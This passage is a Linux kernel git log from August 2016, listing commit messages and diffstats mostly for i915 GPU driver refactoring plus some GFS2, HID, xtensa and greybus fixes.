http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-19-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-9-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 3 +- drivers/gpu/drm/i915/i915_gem.c | 75 ++++++++---------------------- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 12 ++--- drivers/gpu/drm/i915/i915_gem_request.c | 58 ++++++++--------------- drivers/gpu/drm/i915/i915_trace.h | 13 +++--- drivers/gpu/drm/i915/intel_display.c | 36 ++++++-------- drivers/gpu/drm/i915/intel_lrc.c | 2 +- drivers/gpu/drm/i915/intel_overlay.c | 20 ++++---- 8 files changed, 79 insertions(+), 140 deletions(-) commit 7c9cf4e33a72c36a62471709d85d096eaac86dc6 Author: Chris Wilson Date: Tue Aug 2 22:50:25 2016 +0100 drm/i915: Reduce engine->emit_flush() to a single mode parameter Rather than passing a complete set of GPU cache domains for either invalidation or for flushing, or even both, just pass a single parameter to the engine->emit_flush to determine the required operations. engine->emit_flush(GPU, 0) -> engine->emit_flush(EMIT_INVALIDATE) engine->emit_flush(0, GPU) -> engine->emit_flush(EMIT_FLUSH) engine->emit_flush(GPU, GPU) -> engine->emit_flush(EMIT_FLUSH | EMIT_INVALIDATE) This allows us to extend the behaviour easily in future, for example if we want just a command barrier without the overhead of flushing. Signed-off-by: Chris Wilson Cc: Dave Gordon Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-8-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_context.c | 2 +- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 2 +- drivers/gpu/drm/i915/i915_gem_gtt.c | 10 ++---- drivers/gpu/drm/i915/i915_gem_request.c | 2 +- drivers/gpu/drm/i915/intel_lrc.c | 23 +++++------- drivers/gpu/drm/i915/intel_ringbuffer.c | 57 +++++++++++------------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 6 ++-- 7 files changed, 38 insertions(+), 64 deletions(-) commit c7fe7d25ed6036ff16b1c112463baff21c3b205d Author: Chris Wilson Date: Tue Aug 2 22:50:24 2016 +0100 drm/i915: Remove obsolete engine->gpu_caches_dirty Space for flushing the GPU cache prior to completing the request is preallocated and so cannot fail - the GPU caches will always be flushed along with the completed request. This means we no longer have to track whether the GPU cache is dirty between batches like we had to with the outstanding_lazy_seqno. With the removal of the duplication in the per-backend entry points for emitting the obsolete lazy flush, we can then further unify the engine->emit_flush. v2: Expand a bit on the legacy of gpu_caches_dirty Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-18-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-7-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_context.c | 2 +- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 9 +--- drivers/gpu/drm/i915/i915_gem_gtt.c | 11 +++-- drivers/gpu/drm/i915/i915_gem_request.c | 8 ++-- drivers/gpu/drm/i915/intel_lrc.c | 47 +++---------------- drivers/gpu/drm/i915/intel_lrc.h | 2 - drivers/gpu/drm/i915/intel_ringbuffer.c | 72 +++++++----------------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 7 --- 8 files changed, 37 insertions(+), 121 deletions(-) commit aad29fbbb86dbac69e25433b14c8a718fb53115e Author: Chris Wilson Date: Tue Aug 2 22:50:23 2016 +0100 drm/i915: Rename intel_pin_and_map_ring() For more consistent oop-naming, we would use intel_ring_verb, so pick intel_ring_pin() and intel_ring_unpin(). Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-17-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-6-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_lrc.c | 4 ++-- drivers/gpu/drm/i915/intel_ringbuffer.c | 38 ++++++++++++++++----------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 5 ++--- 3 files changed, 23 insertions(+), 24 deletions(-) commit 32c04f16f0db826cb76152e1418f1cdcc6ef7e9f Author: Chris Wilson Date: Tue Aug 2 22:50:22 2016 +0100 drm/i915: Rename residual ringbuf parameters Now that we have a clear ring/engine split and a struct intel_ring, we no longer need the stopgap ringbuf names. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-16-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-5-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_ringbuffer.c | 66 ++++++++++++++++----------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 6 +-- 2 files changed, 36 insertions(+), 36 deletions(-) commit 7e37f889b50e798fc17f74e561b06a8715bee5a2 Author: Chris Wilson Date: Tue Aug 2 22:50:21 2016 +0100 drm/i915: Rename struct intel_ringbuffer to struct intel_ring The state stored in this struct is not only the information about the buffer object, but the ring used to communicate with the hardware. Using buffer here is overly specific and, for me at least, conflates with the notion of buffer objects themselves. s/struct intel_ringbuffer/struct intel_ring/ s/enum intel_ring_hangcheck/enum intel_engine_hangcheck/ s/describe_ctx_ringbuf()/describe_ctx_ring()/ s/intel_ring_get_active_head()/intel_engine_get_active_head()/ s/intel_ring_sync_index()/intel_engine_sync_index()/ s/intel_ring_init_seqno()/intel_engine_init_seqno()/ s/ring_stuck()/engine_stuck()/ s/intel_cleanup_engine()/intel_engine_cleanup()/ s/intel_stop_engine()/intel_engine_stop()/ s/intel_pin_and_map_ringbuffer_obj()/intel_pin_and_map_ring()/ s/intel_unpin_ringbuffer()/intel_unpin_ring()/ s/intel_engine_create_ringbuffer()/intel_engine_create_ring()/ s/intel_ring_flush_all_caches()/intel_engine_flush_all_caches()/ s/intel_ring_invalidate_all_caches()/intel_engine_invalidate_all_caches()/ s/intel_ringbuffer_free()/intel_ring_free()/ Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-15-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-4-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 11 ++- drivers/gpu/drm/i915/i915_drv.h | 4 +- drivers/gpu/drm/i915/i915_gem.c | 16 ++-- drivers/gpu/drm/i915/i915_gem_context.c | 6 +- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 6 +- drivers/gpu/drm/i915/i915_gem_gtt.c | 6 +- drivers/gpu/drm/i915/i915_gem_request.c | 6 +- drivers/gpu/drm/i915/i915_gem_request.h | 2 +- drivers/gpu/drm/i915/i915_gpu_error.c | 8 +- drivers/gpu/drm/i915/i915_irq.c | 14 ++-- drivers/gpu/drm/i915/intel_display.c | 10 +-- drivers/gpu/drm/i915/intel_engine_cs.c | 2 +- drivers/gpu/drm/i915/intel_lrc.c | 34 ++++---- drivers/gpu/drm/i915/intel_mocs.c | 4 +- drivers/gpu/drm/i915/intel_overlay.c | 8 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 128 ++++++++++++++--------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 51 ++++++------ 17 files changed, 157 insertions(+), 159 deletions(-) commit dca33ecc5f1e5542b3f2fa2911b92f743369d367 Author: Chris Wilson Date: Tue Aug 2 22:50:20 2016 +0100 drm/i915: Rename intel_context[engine].ringbuf Perform s/ringbuf/ring/ on the context struct for consistency with the ring/engine split. v2: Kill an outdated error_ringbuf label Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-14-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 8 +++---- drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/i915_gem_context.c | 4 ++-- drivers/gpu/drm/i915/i915_guc_submission.c | 2 +- drivers/gpu/drm/i915/intel_lrc.c | 37 ++++++++++++++---------------- 5 files changed, 25 insertions(+), 28 deletions(-) commit 1dae2dfb0bfd9c148f2b26277ef961033c4c1184 Author: Chris Wilson Date: Tue Aug 2 22:50:19 2016 +0100 drm/i915: Rename request->ringbuf to request->ring Now that we have disambuigated ring and engine, we can use the clearer and more consistent name for the intel_ringbuffer pointer in the request. @@ struct drm_i915_gem_request *r; @@ - r->ringbuf + r->ring Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-12-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_context.c | 4 +- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 4 +- drivers/gpu/drm/i915/i915_gem_gtt.c | 6 +- drivers/gpu/drm/i915/i915_gem_request.c | 16 +++--- drivers/gpu/drm/i915/i915_gem_request.h | 2 +- drivers/gpu/drm/i915/i915_gpu_error.c | 19 +++--- drivers/gpu/drm/i915/intel_display.c | 10 ++-- drivers/gpu/drm/i915/intel_lrc.c | 57 +++++++++--------- drivers/gpu/drm/i915/intel_mocs.c | 36 ++++++------ drivers/gpu/drm/i915/intel_overlay.c | 8 +-- drivers/gpu/drm/i915/intel_ringbuffer.c | 92 +++++++++++++++--------------- 11 files changed, 125 insertions(+), 129 deletions(-) commit b5321f309ba4921e9f0e32de96c49aa826c08a37 Author: Chris Wilson Date: Tue Aug 2 22:50:18 2016 +0100 drm/i915: Unify intel_logical_ring_emit and intel_ring_emit Both perform the same actions with more or less indirection, so just unify the code. v2: Add back a few intel_engine_cs locals Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1469432687-22756-11-git-send-email-chris@chris-wilson.co.uk Link: http://patchwork.freedesktop.org/patch/msgid/1470174640-18242-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_context.c | 47 ++-- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 53 ++-- drivers/gpu/drm/i915/i915_gem_gtt.c | 48 ++-- drivers/gpu/drm/i915/intel_display.c | 80 +++--- drivers/gpu/drm/i915/intel_lrc.c | 183 +++++++------- drivers/gpu/drm/i915/intel_lrc.h | 26 -- drivers/gpu/drm/i915/intel_mocs.c | 38 ++- drivers/gpu/drm/i915/intel_overlay.c | 50 ++-- drivers/gpu/drm/i915/intel_ringbuffer.c | 382 +++++++++++++++-------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 25 +- 10 files changed, 450 insertions(+), 482 deletions(-) commit 47a9a527946842dd8d83d4c8c8be22b2615b65f5 Author: Fabian Frederick Date: Tue Aug 2 12:05:27 2016 -0500 GFS2: use BIT() macro Replace 1 << value shift by more explicit BIT() macro Also fixes two bare unsigned definitions: WARNING: Prefer 'unsigned int' to bare use of 'unsigned' + unsigned hsize = BIT(ip->i_depth); Signed-off-by: Fabian Frederick Signed-off-by: Bob Peterson fs/gfs2/aops.c | 2 +- fs/gfs2/bmap.c | 6 +++--- fs/gfs2/dir.c | 20 ++++++++++---------- fs/gfs2/glock.c | 2 +- fs/gfs2/inode.h | 2 +- fs/gfs2/ops_fstype.c | 8 ++++---- fs/gfs2/quota.c | 4 ++-- fs/gfs2/super.c | 2 +- 8 files changed, 23 insertions(+), 23 deletions(-) commit 7d3ea5c1e958e4cbabf170b8dee42b5aeac7d530 Author: Mayeul Cantan Date: Sat Jul 30 13:53:39 2016 +0200 HID: Add a new Saitek mouse device ID (RAT 9) The new device has 06a3:0cfa as identifiers, and the same quirks as the other RAT models. It needs this fix in order not to confuse the xorg server with its tristate button, which is reported as three different buttons, one of which is always on. [jkosina@suse.cz: drop unrelated whitespace hunk] Signed-off-by: Mayeul Cantan Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-core.c | 1 + drivers/hid/hid-ids.h | 1 + drivers/hid/hid-saitek.c | 2 ++ 3 files changed, 4 insertions(+) commit 4ba1eeeb609f93f904dadf5e304345ea10fb543a Author: Mikko Perttunen Date: Thu Jul 21 19:54:48 2016 +0300 HID: sony: disable descriptor fixup for FutureMax Dance Mat The FutureMax Dance Mat claims to be a SixAxis controller but breaks if descriptor fixups are applied. Detect the device using its USB product string and disable fixups when it is detected. Signed-off-by: Mikko Perttunen Reviewed-by: Benjamin Tissoires Acked-by: Antonio Ospite Signed-off-by: Jiri Kosina drivers/hid/hid-sony.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 20d11305b7c441a37ddb5f4676572715fdf8b867 Author: Javier Martinez Canillas Date: Thu Jul 21 11:25:54 2016 -0400 HID: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f2dd7578c4f4ea985da937df2b377ce646e8819b Author: Akash Goel Date: Mon Jun 27 20:10:01 2016 +0530 drm/i915/gen9: Update i915_drpc_info debugfs for coarse pg & forcewake info Updated the i915_drpc_info debugfs with coarse power gating & forcewake info for Gen9. v2: Change all IS_GEN9() by gen >= 9 (Damien) v3: Rebase Cc: Damien Lespiau Signed-off-by: Akash Goel Reviewed-by: Sagar Arun Kamble Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1467038401-8283-1-git-send-email-akash.goel@intel.com drivers/gpu/drm/i915/i915_debugfs.c | 21 ++++++++++++++++++++- drivers/gpu/drm/i915/i915_reg.h | 3 +++ 2 files changed, 23 insertions(+), 1 deletion(-) commit 8497825753253a0c72729d8f8cced6c7ed341589 Author: Keith Packard Date: Sun Jul 31 00:54:51 2016 -0700 drm/i915: cleanup_plane_fb: also drop reference to current state wait_req There are two paths into intel_cleanup_plane_fb, the normal completion path and the failure path. In the failure case, intel_cleanup_plane_fb is called before drm_atomic_helper_swap_state, so any wait_req reference made in intel_prepare_plane_fb will be in old_intel_state->wait_req. In the normal completion path, drm_atomic_helper_swap_state has already been called, so the plane state holding the just-used wait_req will not be in old_intel_state->wait_req, rather it will be in the state associated with the plane itself. Clearing this reference ensures that the wait_req will be freed as soon as it the related mode setting operation is complete, rather than waiting for some future mode setting operation to eventually dereference it. The existing dereference of old_intel_state->wait_req is still required as that will hold the wait_req when the mode setting operation fails. cc: Daniel Vetter cc: David Airlie cc: intel-gfx@lists.freedesktop.org cc: dri-devel@lists.freedesktop.org Signed-off-by: Keith Packard Signed-off-by: Daniel Vetter drivers/gpu/drm/i915/intel_display.c | 2 ++ 1 file changed, 2 insertions(+) commit dd788090822300a66ff469ae9e50f6d28d124eb8 Author: Ville Syrjälä Date: Thu Jul 28 17:55:04 2016 +0300 drm/i915: Warn about aux msg buffer vs. size mismatch If we have have a buffer, we should also have a size, and vice versa. Let's check it both ways instead of just one. Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1469717704-13020-1-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_dp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit acb913593addda42fdfd9f40d2529151b61b5b4c Author: Ville Syrjälä Date: Fri Jul 29 17:57:02 2016 +0300 drm/i915: Program FW_BLC_SELF on 915G as well According to Bspec FW_BLC_SELF exists on 915G also. Let's program it. The only open question is whether there's is a memory self-refresh enable bit somewhere as well. For 945G/GM it's in FW_BLC_SELF, for 915GM it's in INSTPM. For 915G I can't find one in the docs. Let's drop a FIXME about this, in case someone with the hardware is ever bored enough to look for it. Cc: Daniel Vetter Cc: Chris Wilson Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1469804222-12650-2-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Chris Wilson drivers/gpu/drm/i915/intel_pm.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 2d1b50564734619487745fe14dc2999b1f4a15d2 Author: Ville Syrjälä Date: Fri Jul 29 17:57:01 2016 +0300 drm/i915: Always use cpp==4 for FW_BLC_SELF on 915GM/945GM Bspec says: "FW_BLC_SELF ... Programming Note [DevALV] and [DevCST]: When calculating watermark values for 15/16bpp, assume 32bpp for purposes of calculation using the high priority bandwidth analysis spreadsheet." Let's do that. Perhaps this might even help with the problem that resulted in commit 2ab1bc9df01d ("drm/i915: Disable self-refresh for untiled fbs on i915gm") Cc: Daniel Vetter Cc: Chris Wilson Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1469804222-12650-1-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Chris Wilson drivers/gpu/drm/i915/intel_pm.c | 3 +++ 1 file changed, 3 insertions(+) commit a930acd91f46ad4ae15d14a8c018bb9356ef3be6 Author: Ville Syrjälä Date: Tue Jul 12 15:59:36 2016 +0300 drm/i915: Extract bdw_get_buf_trans_edp() Make the BDW and SKL code a bit more similar by extracting the low vswing handling for BDW into a helper, as we already have it like that for SKL+. Cc: Mika Kahola Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1468328376-6380-10-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Imre Deak drivers/gpu/drm/i915/intel_ddi.c | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) commit 5a5d24dca44f7c946cbe0d638db81ad58f12e63e Author: Ville Syrjälä Date: Tue Jul 12 15:59:35 2016 +0300 drm/i915: Simplify intel_ddi_get_encoder_port() We no longer have any need to look up the intel_digital_port based on the passed in intel_encoder, but we still want to look up the port. Let's just move that logic into intel_ddi_get_encoder_port() and drop the dig_port stuff. Signed-off-by: Ville Syrjälä Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468328376-6380-9-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_ddi.c | 36 ++++++++---------------------------- 1 file changed, 8 insertions(+), 28 deletions(-) commit 1edaaa2f25c04ba9b40caf4d80fe3d302d9e76cd Author: Ville Syrjälä Date: Tue Jul 12 15:59:34 2016 +0300 drm/i915: Get the iboost setting based on the port type Program the 'iboost_bit' based on what the VBT says it should be for the specific port type, rather than assume it's always the same for DP and HDMI. Signed-off-by: Ville Syrjälä Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468328376-6380-8-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_ddi.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 32bdc400963cee9e55889c2973b9553ecee1bcc6 Author: Ville Syrjälä Date: Tue Jul 12 15:59:33 2016 +0300 drm/i915: Split DP/eDP/FDI and HDMI/DVI DDI buffer programming apart DDI buffer prorgramming works quite differently depending on the mode of the DDI port (DP/eDP/FDI vs. HDMI/DVI). Let's split the function that does the programming into two matching variants as well. Signed-off-by: Ville Syrjälä Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468328376-6380-7-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_ddi.c | 75 +++++++++++++++++++++++-------------- drivers/gpu/drm/i915/intel_dp_mst.c | 4 +- drivers/gpu/drm/i915/intel_drv.h | 2 +- 3 files changed, 49 insertions(+), 32 deletions(-) commit ed9c77d2612316fba202cf1d69fc903969e474c8 Author: Ville Syrjälä Date: Tue Jul 12 15:59:32 2016 +0300 drm/i915: Explicitly use ddi buf trans entry 9 for hdmi When the DDI port is in HDMI/DVI mode, it automagically uses the buffer translations values from entry 9. Let's make that explicit in the code. Signed-off-by: Ville Syrjälä Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468328376-6380-6-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/intel_ddi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9f3324377b02cc8ba8d05c89d6d4369e932b7d34 Author: Ville Syrjälä Date: Tue Jul 12 15:59:31 2016 +0300 drm/i915: Move bxt_ddi_vswing_sequence() call into intel_ddi_pre_enable() for HDMI Now that the SKL iboost programming is done from intel_ddi_pre_enable() for HDMI, let's move the BXT bxt_ddi_vswing_sequence() call there as well. This makes things look more similar to the DP/eDP case which is handled in ddi_signal_levels(). Cc: Imre Deak Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1468328376-6380-5-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Imre Deak drivers/gpu/drm/i915/intel_ddi.c | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) commit 8d8bb85eb7d859aa9bbe36e588690a1d22af7608 Author: Ville Syrjälä Date: Tue Jul 12 15:59:30 2016 +0300 drm/i915: Program iboost settings for HDMI/DVI on SKL Currently we fail to program the iboost stuff for HDMI/DVI. Let's remedy that. Cc: stable@vger.kernel.org Fixes: f8896f5d58e6 ("drm/i915/skl: Buffer translation improvements") Cc: David Weinehall Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1468328376-6380-4-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: David Weinehall drivers/gpu/drm/i915/intel_ddi.c | 51 +++++++++++++++++++++++++++++++--------- 1 file changed, 40 insertions(+), 11 deletions(-) commit c110ae6cffddb81cb69a8c1a57ce4b7ff2a42f99 Author: Ville Syrjälä Date: Tue Jul 12 15:59:29 2016 +0300 drm/i915: Name the "iboost bit" Give a proper name for the SKL DDI_BUF_TRANS iboost bit. Cc: David Weinehall Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1468328376-6380-3-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: David Weinehall drivers/gpu/drm/i915/i915_reg.h | 1 + drivers/gpu/drm/i915/intel_ddi.c | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) commit a7d8dbc07c8f0faaace983b1e4c6e9495dd0aa75 Author: Ville Syrjälä Date: Tue Jul 12 15:59:28 2016 +0300 drm/i915: Fix iboost setting for DDI with 4 lanes on SKL Bspec says: "For DDIA with x4 capability (DDI_BUF_CTL DDIA Lane Capability Control = DDIA x4), the I_boost value has to be programmed in both tx_blnclegsctl_0 and tx_blnclegsctl_4." Currently we only program tx_blnclegsctl_0. Let's do the other one as well. Cc: stable@vger.kernel.org Fixes: f8896f5d58e6 ("drm/i915/skl: Buffer translation improvements") Cc: David Weinehall Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1468328376-6380-2-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: David Weinehall drivers/gpu/drm/i915/i915_reg.h | 1 + drivers/gpu/drm/i915/intel_ddi.c | 36 +++++++++++++++++++++++------------- 2 files changed, 24 insertions(+), 13 deletions(-) commit 4da456168f41499369bef5ebb33d5966cd9cbb8c Author: Matthew Auld Date: Tue Jul 5 10:28:34 2016 +0100 drm/i915: remove redundant fbc warnings The fbc enabled/active sanity checks are already done in __intel_fbc_disable so no need to do them again. Signed-off-by: Matthew Auld Reviewed-by: Paulo Zanoni Signed-off-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1467710914-15146-1-git-send-email-matthew.auld@intel.com drivers/gpu/drm/i915/intel_fbc.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 2a13ae79524ed8bec32a623e2763c649fa3e0846 Author: Chris Wilson Date: Tue Aug 2 11:15:27 2016 +0100 drm/i915: Protect older gen against intel_gt_init_powersave() In the middle of intel_gt_init_powersave() we have an if-chain that ends with a universal else clause to read gen6+ registers. Older platforms like Pineview that end up here do not like those registers and may even OOPS whilst reading them! Fixes: 3ea9a80132 ("drm/i915: Perform static RPS frequency setup ...") Signed-off-by: Chris Wilson Cc: Ville Syrjälä Cc: Mika Kuoppala Cc: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470132927-1821-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Ville Syrjälä drivers/gpu/drm/i915/intel_pm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 238010ed6cc8d3b5c6b146ab813838c6a6992a7b Author: David Weinehall Date: Mon Aug 1 17:33:27 2016 +0300 drm/i915/debugfs: Take runtime_pm ref for sseu When reading the SSEU statistics, we need to call intel_runtime_pm_get() first, otherwise we might end up triggering "Device suspended during HW access". Signed-off-by: David Weinehall Link: http://patchwork.freedesktop.org/patch/msgid/1470062007-26996-1-git-send-email-david.weinehall@linux.intel.com Reviewed-by: Joonas Lahtinen Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_debugfs.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit b3830e8d478cd9fe33e820425ce431c8ef280967 Author: Borislav Petkov Date: Mon Aug 1 12:05:02 2016 +0200 x86/entry: Remove duplicated comment Ok, ok, we see it is called from C :-) Signed-off-by: Borislav Petkov Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160801100502.29796-1-bp@alien8.de Signed-off-by: Ingo Molnar arch/x86/entry/entry_64.S | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit d8d2f7f64592f3e8c51dac6d20aed044dca4009a Author: Max Filippov Date: Sun Jul 31 06:49:45 2016 +0300 xtensa: wire up new syscalls Wire up userfaultfd, membarrier, mlock2, copy_file_range, preadv2, pwritev2 Signed-off-by: Max Filippov arch/xtensa/include/uapi/asm/unistd.h | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit 6ce213575cf37c50667850b4372272b4f1660b51 Author: Chris Wilson Date: Fri Jul 29 00:45:35 2016 +0100 drm/i915: Add missing ring_mask to Pineview It appears that we never told Pineview it has a RENDER_RING. This was all fine until we started using the ring_mask for determining all the available rings to initialise for legacy ringbuffer submission in commit 88d2ba2e95c8 ("drm/i915: Unify engine init loop"). Though really it is a latent bug since the ring_mask inception in commit 73ae478cdf6a ("drm/i915: Replace has_bsd/blt/vebox with a mask"). To prevent similar mishaps in future, add a WARN_ON() if we find ourselves with a device without any rings. Fixes: 73ae478cdf6a ("drm/i915: Replace has_bsd/blt/vebox with a mask") Fixes: 88d2ba2e95c8 ("drm/i915: Unify engine init loop") Signed-off-by: Chris Wilson Cc: Tvrtko Ursulin Cc: Daniel Vetter Cc: Ben Widawsky Link: http://patchwork.freedesktop.org/patch/msgid/1469749535-2382-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen Cc: drm-intel-fixes@lists.freedesktop.org drivers/gpu/drm/i915/i915_pci.c | 1 + drivers/gpu/drm/i915/intel_engine_cs.c | 1 + 2 files changed, 2 insertions(+) commit c0219cbf72418d5355e319a0d787dc2671df9d4f Author: Johan Hovold Date: Wed Jul 27 16:37:22 2016 +0200 greybus: es2: fix arpc active-list corruption Fix ARPC active-list corruption due to incorrect list-interface usage. The corruption manifested itself as ARPC timeouts due to expected responses not being recognised whenever more than one ARPC was active. This could be seen for example when two interfaces were being runtime suspended in parallel: [ 165.739896] usb 1-1.1: invalid arpc response id received: 13 [ 165.794743] greybus 1-5.5: gb_interface_refclk_set - 0 [ 166.241202] usb 1-1.1: failed to execute ARPC: -110 Fortunately the impact of this bug has so far been limited to such timeouts and error messages due to ARPC currently only being used for CPort reset in the connection tear-down path. Reported-by: Mark Greer Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 178457e171bf1ae7a90a6b0aa6a404fec129e8c4 Author: Johan Hovold Date: Wed Jul 27 16:37:21 2016 +0200 greybus: es2: fix arpc error message Add missing le16_to_cpu() to an ARPC error message in the receive path, and also use %u to print the unsigned id. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit fcba5d04c87c5c0174f159d26b295a46bfb6da58 Author: Johan Hovold Date: Wed Jul 27 16:37:20 2016 +0200 greybus: es2: fix arpc response-allocation error handling The wrong pointer was checked for allocation failures when allocating the ARPC response buffer, something which would lead to allocation failures going undetected. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 23931ffb9ac892a51cdef4eefdfc255e3f810a8b Author: Johan Hovold Date: Thu Jul 28 11:40:53 2016 +0200 greybus: replace Ara references Replace all occurrences of the term "Ara" with "GMP" in core. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bootrom.c | 2 +- drivers/staging/greybus/interface.c | 28 ++++++++++++++-------------- drivers/staging/greybus/interface.h | 2 +- 3 files changed, 16 insertions(+), 16 